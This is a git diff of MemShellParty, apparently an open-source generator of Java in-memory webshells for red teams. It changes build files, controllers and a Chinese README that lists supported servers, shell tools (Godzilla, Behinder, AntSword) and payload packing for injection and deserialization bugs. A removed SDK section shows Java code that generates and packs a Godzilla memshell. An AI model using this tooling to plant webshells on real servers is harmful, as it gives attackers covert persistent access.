FROM --platform=$BUILDPLATFORM oven/bun:1.2.19 AS frontend
|
||||
|
||||
ARG ROUTE_ROOT_PATH="/"
|
||||
ARG CONTEXT_PATH=""
|
||||
@@ -27,11 +24,8 @@ COPY --from=source /usr/src/web /usr/src/web
|
||||
|
||||
RUN bun run build
|
||||
|
||||
# https://hub.docker.com/_/eclipse-temurin
|
||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
||||
|
||||
ARG VERSION="1.0.0"
|
||||
ENV VERSION=${VERSION}
|
||||
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||
|
||||
WORKDIR /usr/src
|
||||
|
||||
@@ -39,9 +33,9 @@ COPY --from=source /usr/src /usr/src
|
||||
|
||||
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||
|
||||
RUN ./gradlew -Pversion=${VERSION} :boot:bootjar -x test
|
||||
RUN ./gradlew :boot:bootjar -x test
|
||||
|
||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
||||
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
|
||||
@@ -1,11 +1,6 @@
|
||||
<h1 align="center">MemShellParty</h1>
|
||||
|
||||
<p align="center">中文 | <a href="./docs/README.en.md">English</a><br></p>
|
||||
<div align="center">
|
||||
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
[](https://github.com/ReaJason/MemShellParty/actions/workflows/release.yaml)
|
||||
</div>
|
||||
|
||||
|
||||
<div align="center">
|
||||
@@ -25,37 +20,46 @@
|
||||
|
||||
> [!TIP]
|
||||
> 由于本人仅是安全产品研发,无实战经验,如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG
|
||||
> 交流群,欢迎一起学习交流
|
||||
> 交流群,欢迎一起学习交流。
|
||||
|
||||
MemShellParty 是一款可本地部署的一键生成常见中间件框架内存马的可视化平台,并且致力于打造内存马的全方位的学习平台。
|
||||
在遍地是轮子的时代,是时候造车,带着大伙加速冲冲冲了。
|
||||
MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工具,致力于简化安全研究人员和红队成员的工作流程,提升攻防效率。
|
||||
|
||||
希望你能从这个项目学会或尝试做的:
|
||||
|
||||
1. 学会编写常见中间件框架的内存马。
|
||||
2. 学会使用 [Testcontainers](https://testcontainers.com/) 做 Java 应用的集成测试。
|
||||
3. 学会使用 GitHub Actions 编写 CI/CD,编写 CHANGELOG 并通过 CI 自动发布 Release。
|
||||
4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
||||
|
||||

|
||||
|
||||

|
||||
<p align="center">
|
||||
<img src="asserts/normal_memshell.png" alt="normal_memshell" width="24%">
|
||||
<img src="asserts/agent_memshell.png" alt="agent_memshell" width="24%">
|
||||
<img src="asserts/dnslog_probe.png" alt="dnslog_probe" width="24%">
|
||||
<img src="asserts/about_page.png" alt="about_page" width="24%">
|
||||
</p>
|
||||
|
||||
## 主要特性
|
||||
|
||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||
- 高可用性:自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
||||
- 最小化:尽可能精简内存马大小,高效传输。
|
||||
- 强兼容性:覆盖攻防场景下常见中间件和框架。
|
||||
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
||||
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
||||
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
||||
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
||||
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
||||
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
||||
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
||||
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
||||
|
||||
## 快速使用
|
||||
|
||||
### 使用前必看
|
||||
|
||||
[Java 服务简介.md](./docs/ServerIntro.md),用于了解 MemShellParty
|
||||
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||
|
||||
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
||||
|
||||
### 在线站点
|
||||
|
||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||
|
||||
可直接访问 [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||
可访问(master 分支) [https://party.memshell.news](https://party.memshell.news)。每次 Release 都会自动部署最新的镜像。
|
||||
|
||||
对于正在开发的功能可访问(dev 分支) [https://dev-party.memshell.news](https://dev-party.memshell.news) 抢先体验。
|
||||
|
||||
### 本地部署(推荐)
|
||||
|
||||
@@ -84,288 +88,17 @@ docker rm -f memshell-party
|
||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
||||
```
|
||||
|
||||
### SDK 集成到现有工具中
|
||||
## User Guide
|
||||
|
||||
> 适合集成到已有工具中,实现内存马 payload 的生成,支持 JDK8 以上版本,v1.7.0 开始支持
|
||||
1. [适配情况](./docs/Compatibility.md)
|
||||
2. [本地构建](./docs/BuildOnLocal.md)
|
||||
3. [SDK 集成](./examples/memshell-party-maven-example)
|
||||
4. [代码贡献](./CONTRIBUTING.md)
|
||||
|
||||
1. 添加依赖,Maven Or Gradle
|
||||
|
||||
```xml
|
||||
<!-- Maven Repo-->
|
||||
<dependency>
|
||||
<groupId>io.github.reajason</groupId>
|
||||
<artifactId>generator</artifactId>
|
||||
<version>1.7.0</version>
|
||||
</dependency>
|
||||
```
|
||||
|
||||
```groovy
|
||||
// Gradle Repo
|
||||
implementation 'io.github.reajason:generator:1.7.0'
|
||||
```
|
||||
|
||||
2. 生成 Tomcat Godzilla Filter 内存马示例
|
||||
|
||||
```java
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shrink(true) // 缩小字节码
|
||||
.debug(false) // 关闭调试
|
||||
.build();
|
||||
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||
.build();
|
||||
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
// .pass("pass")
|
||||
// .key("key")
|
||||
// .headerName("User-Agent")
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:"+result.getInjectorClassName());
|
||||
System.out.println("内存马类名:"+result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
System.out.println("Base64 打包:"+Packers.Base64.getInstance().pack(result));
|
||||
System.out.println("脚本引擎打包:"+Packers.ScriptEngine.getInstance().pack(result));
|
||||
```
|
||||
3. 生成 Tomcat Godzilla AgentFilterChain 示例
|
||||
```java
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||
.shrink(true) // 缩小字节码
|
||||
.debug(false) // 关闭调试
|
||||
.build();
|
||||
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
// .urlPattern("/*") // 自定义 urlPattern,默认就是 /*
|
||||
// .shellClassName("com.example.memshell.GodzillaShell") // 自定义内存马类名,默认为空时随机生成
|
||||
// .injectorClassName("com.example.memshell.GodzillaInjector") // 自定义注入器类名,默认为空时随机生成
|
||||
.build();
|
||||
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
// .pass("pass")
|
||||
// .key("key")
|
||||
// .headerName("User-Agent")
|
||||
// .headerValue("test")
|
||||
.build();
|
||||
|
||||
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
|
||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||
System.out.println("内存马类名:" + result.getShellClassName());
|
||||
|
||||
System.out.println(result.getShellConfig());
|
||||
System.out.println(result.getShellToolConfig());
|
||||
|
||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||
```
|
||||
4. 封装统一生成接口可参考 [GeneratorController.java](boot/src/main/java/com/reajason/javaweb/boot/controller/GeneratorController.java)
|
||||
|
||||
## 适配情况
|
||||
|
||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
||||
|
||||
### 中间件以及框架
|
||||
|
||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
||||
|----------------------|------------------------|----------------------|----------------------|
|
||||
| Servlet | Servlet | Filter | Filter |
|
||||
| Filter | Filter | Listener | Listener |
|
||||
| Listener | Listener | Valve | Valve |
|
||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
||||
| ContextValve - Agent | | | |
|
||||
|
||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
||||
|---------------------|--------------------------|-----------------|--------------|
|
||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
||||
| Filter | ControllerHandler | HandlerMethod | |
|
||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
||||
| FilterChain - Agent | | NettyHandler | |
|
||||
|
||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
||||
|----------------------|----------------------------|------------------------|------------------------|
|
||||
| Filter | Filter | Servlet | Servlet |
|
||||
| Listener | Listener | Filter | Filter |
|
||||
| Valve | Valve(6) | Listener | Listener |
|
||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
||||
| | ServletHandler - Agent (7) | | |
|
||||
|
||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
||||
|-----------------------|-------------------------|
|
||||
| Servlet | Servlet |
|
||||
| Filter | Filter |
|
||||
| Listener | Listener |
|
||||
| FilterManager - Agent | ServletContext - Agent |
|
||||
|
||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) | Primeton(6.5) |
|
||||
|----------------------|----------------------|------------------------|---------------|----------------------|
|
||||
| Filter | Filter | Filter | Servlet | Filter |
|
||||
| Listener | Listener | Listener | Filter | Listener |
|
||||
| Valve | Valve | Valve | Listener | Valve |
|
||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | | FilterChain - Agent |
|
||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | | ContextValve - Agent |
|
||||
|
||||
### 内存马功能
|
||||
|
||||
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
|
||||
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
|
||||
- [x] 命令执行
|
||||
- [x] [Suo5](https://github.com/zema1/suo5)
|
||||
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
|
||||
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
|
||||
- [x] Custom
|
||||
|
||||
### 封装方式
|
||||
|
||||
- [x] BASE64
|
||||
- [x] GZIP BASE64
|
||||
- [x] JSP
|
||||
- [x] JSPX
|
||||
- [x] JAR
|
||||
- [x] BCEL
|
||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
||||
- [x] Velocity、Freemarker、JinJava
|
||||
- [x] 原生反序列化(CB 和 CC 链)
|
||||
- [x] Agent
|
||||
- [x] XXL-JOB Executor
|
||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
||||
- [ ] JNDI
|
||||
- [ ] JDBC 连接
|
||||
- [ ] 其他常见反序列化
|
||||
|
||||
## 本地构建
|
||||
|
||||
### 源代码构建
|
||||
|
||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
||||
|
||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
||||
|
||||
1. 使用 Git Clone 项目
|
||||
```bash
|
||||
git clone https://github.com/ReaJason/MemShellParty.git
|
||||
```
|
||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
||||
```bash
|
||||
cd MemShellParty/web
|
||||
|
||||
bun install
|
||||
|
||||
bun run build
|
||||
```
|
||||
3. 构建后端项目,确保使用 JDK17 环境
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
./gradlew :boot:bootjar -x test
|
||||
```
|
||||
|
||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
java -jar \
|
||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
||||
build/libs/boot-1.0.0.jar
|
||||
```
|
||||
|
||||
也可这基础上再继续构建容器来使用
|
||||
|
||||
```bash
|
||||
cd MemShellParty/boot
|
||||
|
||||
docker buildx build -t memshell-party:latest . --load
|
||||
|
||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
||||
```
|
||||
|
||||
### Dockerfile 一键构建
|
||||
|
||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
||||
|
||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
||||
|
||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
||||
- CONTEXT_PATH: 后端访问前缀
|
||||
|
||||
```bash
|
||||
# 基础构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.6.0 \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 基础镜像启动,访问 127.0.0.1:8080
|
||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
||||
|
||||
# 自定义访问路径构建
|
||||
docker buildx build \
|
||||
--build-arg VERSION=1.6.0 \
|
||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
||||
--build-arg CONTEXT_PATH=/memshell-party \
|
||||
-t memshell-party:latest . --load
|
||||
|
||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
||||
docker run -it -p 8080:8080 \
|
||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
||||
memshell-party:latest
|
||||
```
|
||||
|
||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
||||
|
||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
||||
|
||||
```text
|
||||
location /memshell-party {
|
||||
proxy_pass http://127.0.0.1:8080;
|
||||
proxy_set_header Host $http_host;
|
||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
||||
proxy_set_header X-Forwarded-For $remote_addr;
|
||||
proxy_http_version 1.1;
|
||||
proxy_connect_timeout 3s;
|
||||
proxy_read_timeout 300s;
|
||||
proxy_send_timeout 300s;
|
||||
proxy_buffer_size 16k;
|
||||
proxy_buffers 8 64k;
|
||||
proxy_busy_buffers_size 128k;
|
||||
}
|
||||
```
|
||||
|
||||
## Contribute
|
||||
|
||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||
|
||||
> It will be so nice if you want to contribute. 🎉
|
||||
|
||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||
|
||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
||||
|
||||
## Thanks
|
||||
## Special Thanks
|
||||
|
||||
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||
|
||||
### Let's start the party 🎉
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 92 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 130 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 136 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 236 KiB |
@@ -0,0 +1,35 @@
|
||||
import http.server
|
||||
import socketserver
|
||||
|
||||
PORT = 8000
|
||||
TARGET_PATH = "/api/v1/data"
|
||||
|
||||
|
||||
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||
def do_POST(self):
|
||||
if self.path == TARGET_PATH:
|
||||
try:
|
||||
content_length = int(self.headers['Content-Length'])
|
||||
post_data_bytes = self.rfile.read(content_length)
|
||||
post_data_str = post_data_bytes.decode('utf-8')
|
||||
print("-----------------------------\n")
|
||||
print(f"Client IP: {self.client_address}")
|
||||
print(f"Request Header:\n{self.headers}")
|
||||
print(f"Request Body:\n{post_data_str}")
|
||||
print("-----------------------------\n")
|
||||
self.send_response(200)
|
||||
self.send_header('Content-type', 'application/json')
|
||||
self.end_headers()
|
||||
response_message = '{"status": "success"}'
|
||||
self.wfile.write(response_message.encode('utf-8'))
|
||||
except Exception as e:
|
||||
print(f"Parse POST failed: {e}")
|
||||
self.send_response(500)
|
||||
else:
|
||||
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
||||
self.send_response(404)
|
||||
|
||||
|
||||
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
||||
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
||||
httpd.serve_forever()
|
||||
@@ -0,0 +1,16 @@
|
||||
import http from 'k6/http';
|
||||
import {check, sleep} from 'k6';
|
||||
|
||||
export const options = {
|
||||
rps: 4500,
|
||||
vus: 10,
|
||||
duration: '5m',
|
||||
};
|
||||
|
||||
export default function () {
|
||||
const res = http.get('http://localhost:8082/app/test');
|
||||
check(res, {
|
||||
'status is 200': (r) => r.status === 200,
|
||||
});
|
||||
sleep(1);
|
||||
}
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 242 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 268 KiB |
@@ -1,63 +0,0 @@
|
||||
plugins {
|
||||
id 'java'
|
||||
id 'org.springframework.boot' version '3.4.0'
|
||||
id 'io.spring.dependency-management' version '1.1.6'
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
def runtimeJvmArgs = [
|
||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||
]
|
||||
|
||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||
|
||||
tasks.withType(Test).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
// For running the application
|
||||
tasks.withType(JavaExec).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
configurations {
|
||||
compileOnly {
|
||||
extendsFrom annotationProcessor
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
||||
exclude group: 'commons-logging', module: 'commons-logging'
|
||||
}
|
||||
implementation(project(":deserialize")) {
|
||||
exclude group: 'commons-logging', module: 'commons-logging'
|
||||
}
|
||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
||||
}
|
||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
||||
compileOnly 'org.projectlombok:lombok'
|
||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||
annotationProcessor 'org.projectlombok:lombok'
|
||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||
}
|
||||
|
||||
test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("org.springframework.boot") version "3.5.3"
|
||||
id("io.spring.dependency-management") version "1.1.7"
|
||||
}
|
||||
|
||||
group = "io.github.reajason"
|
||||
version = rootProject.version
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(17)
|
||||
}
|
||||
}
|
||||
|
||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||
|
||||
configurations {
|
||||
compileOnly {
|
||||
extendsFrom(configurations.annotationProcessor.get())
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation(project(":generator")) {
|
||||
exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation(project(":packer")) {
|
||||
exclude(group = "commons-logging", module = "commons-logging")
|
||||
}
|
||||
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||
}
|
||||
implementation(libs.commons.lang3)
|
||||
implementation("org.springframework.boot:spring-boot-starter-jetty")
|
||||
compileOnly("org.projectlombok:lombok")
|
||||
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||
annotationProcessor("org.projectlombok:lombok")
|
||||
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
@@ -1,12 +1,9 @@
|
||||
package com.reajason.javaweb.boot;
|
||||
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.boot.SpringApplication;
|
||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||
|
||||
import java.util.Arrays;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
@@ -16,8 +13,5 @@ public class BootApplication {
|
||||
|
||||
public static void main(String[] args) {
|
||||
SpringApplication.run(BootApplication.class, args);
|
||||
Server[] values = Server.values();
|
||||
log.info("Supported servers: {}", Arrays.toString(values));
|
||||
log.info("For another server, you can open a issue in GitHub, https://github.com/ReaJason/MemShellParty/issues/new?template=%E8%AF%B7%E6%B1%82%E9%80%82%E9%85%8D.md");
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,13 @@
|
||||
package com.reajason.javaweb.boot.api;
|
||||
|
||||
import com.reajason.javaweb.GenerationException;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -13,10 +16,23 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||
@RestControllerAdvice
|
||||
@Slf4j
|
||||
public class GlobalExceptionHandler {
|
||||
|
||||
@ResponseStatus(HttpStatus.NOT_FOUND)
|
||||
@ExceptionHandler(NoResourceFoundException.class)
|
||||
public ResponseEntity<?> handleNoResourceException() {
|
||||
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(GenerationException.class)
|
||||
public ErrorResponse handleGenerationException(GenerationException exception) {
|
||||
return new ErrorResponse(exception.getMessage());
|
||||
}
|
||||
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(Throwable.class)
|
||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||
log.error("请求出错", throwable);
|
||||
log.error("Internal Exception", throwable);
|
||||
return new ErrorResponse(throwable.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.memshell.Packers;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||
import com.reajason.javaweb.memshell.ServerFactory;
|
||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
@@ -24,11 +24,11 @@ public class ConfigController {
|
||||
@RequestMapping("/servers")
|
||||
public Map<String, List<String>> getServers() {
|
||||
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||
for (Server server : Server.values()) {
|
||||
if (server.getShell() != null) {
|
||||
Set<String> supportedShellTypes = server.getShell().getShellInjectorMapping().getSupportedShellTypes();
|
||||
servers.put(server.name(), supportedShellTypes.stream().toList());
|
||||
}
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
Set<String> supportedShellTypes = ServerFactory.getServer(supportedServer)
|
||||
.getShellInjectorMapping().getSupportedShellTypes();
|
||||
servers.put(supportedServer, supportedShellTypes.stream().toList());
|
||||
}
|
||||
return servers;
|
||||
}
|
||||
@@ -43,26 +43,27 @@ public class ConfigController {
|
||||
@RequestMapping
|
||||
public Map<String, Map<?, ?>> config() {
|
||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||
for (Server value : Server.values()) {
|
||||
AbstractShell shell = value.getShell();
|
||||
if (shell == null) {
|
||||
continue;
|
||||
}
|
||||
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||
for (String supportedServer : supportedServers) {
|
||||
AbstractServer server = ServerFactory.getServer(supportedServer);
|
||||
Map<String, Set<String>> map = new LinkedHashMap<>(16);
|
||||
for (ShellTool shellTool : shell.getSupportedShellTools()) {
|
||||
Set<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||
for (String shellTool : server.getSupportedShellTools()) {
|
||||
Set<String> supportedShellTypes = server.getSupportedShellTypes(shellTool);
|
||||
if (supportedShellTypes.isEmpty()) {
|
||||
continue;
|
||||
}
|
||||
map.put(shellTool.name(), supportedShellTypes);
|
||||
map.put(shellTool, supportedShellTypes);
|
||||
}
|
||||
coreMap.put(value.name(), map);
|
||||
coreMap.put(supportedServer, map);
|
||||
}
|
||||
return coreMap;
|
||||
}
|
||||
|
||||
@GetMapping("/command/encryptors")
|
||||
